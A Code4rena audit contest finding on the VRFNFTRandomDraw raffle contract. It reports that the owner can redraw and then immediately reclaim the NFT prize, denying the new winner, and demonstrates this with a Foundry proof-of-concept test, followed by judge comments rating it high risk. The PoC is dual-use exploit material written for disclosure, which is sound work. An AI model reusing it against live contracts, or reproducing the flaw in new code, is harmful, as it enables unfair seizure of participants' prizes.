Platform: Code4rena
Start Date: 13/12/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 77
Period: 3 days
Judge: gzeon
Total Solo HM: 1
Id: 191
League: ETH
Rank: 65/77
Findings: 1
Award: $19.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Soosh
Also found by: 9svR6w, Apocalypto, Ch_301, HE1M, Koolex, SmartSek, Titi, Trust, Zarf, bin2chen, btk, carrotsmuggler, csanuragjain, dic0de, dipp, gz627, hansfriese, hihen, imare, immeas, indijanc, jadezti, kuldeep, ladboy233, maks, neumo, obront, rvierdiiev, sces60107, sk8erboy
19.2206 USDC - $19.22
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320
The owner can manipulate the raffle by deprivation of a specific address (winner)
Please copy the following POC on VRFNFTRandomDraw.t.sol
function test_admin_Redrawing_and_Reclaim_nft() public { address winner = address(0x1337); address winner_2 = address(0x02a6); vm.label(winner, "winner"); vm.startPrank(winner); for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) { drawingNFT.mint(); } vm.stopPrank(); assertEq(drawingNFT.balanceOf(winner), 10); assertEq(drawingNFT.balanceOf(winner_2), 0); vm.startPrank(admin); targetNFT.mint(); address consumerAddress = factory.makeNewDraw( IVRFNFTRandomDraw.Settings({ token: address(targetNFT), tokenId: 0, drawingToken: address(drawingNFT), drawingTokenStartId: 0, drawingTokenEndId: 10, drawBufferTime: 1 weeks, recoverTimelock: 8 days, keyHash: bytes32( 0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15 ), subscriptionId: subscriptionId }) ); vm.label(consumerAddress, "drawing instance"); mockCoordinator.addConsumer(subscriptionId, consumerAddress); mockCoordinator.fundSubscription(subscriptionId, 100 ether); VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress); targetNFT.setApprovalForAll(consumerAddress, true); uint256 drawingId = drawing.startDraw(); mockCoordinator.fulfillRandomWords(drawingId, consumerAddress); vm.stopPrank(); assertEq(targetNFT.balanceOf(winner), 0); assertEq(targetNFT.balanceOf(winner_2), 0); assertEq(targetNFT.balanceOf(consumerAddress), 1); //Let's travel time vm.warp(9 days); // First, let's transfer the tokens to make sure the `winner_2` will win this tame vm.startPrank(winner); for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) { drawingNFT.transferFrom(winner, winner_2, tokensCount); } vm.stopPrank(); assertEq(drawingNFT.balanceOf(winner), 0); assertEq(drawingNFT.balanceOf(winner_2), 10); // here the first winner `winner` didn't invke `winnerClaimNFT()` // the `admin` will invoke `redraw()` vm.startPrank(admin); drawingId = drawing.redraw(); mockCoordinator.fulfillRandomWords(drawingId, consumerAddress); //if the `admin` doesn't want this address (here is `winner_2`) to win this raffle, //he can immediately invoke `lastResortTimelockOwnerClaimNFT()` to disqualify the winner drawing.lastResortTimelockOwnerClaimNFT(); vm.stopPrank(); assertEq(targetNFT.balanceOf(winner_2), 0); assertEq(targetNFT.balanceOf(admin), 1); }
In case of redraw()
the new winner need some time to, before the admin can invoke lastResortTimelockOwnerClaimNFT()
successfully
#0 - c4-judge
2022-12-17T12:42:47Z
gzeon-c4 marked the issue as duplicate of #146
#1 - c4-judge
2022-12-17T12:42:51Z
gzeon-c4 marked the issue as satisfactory
#2 - c4-judge
2023-01-23T17:09:23Z
gzeon-c4 changed the severity to 3 (High Risk)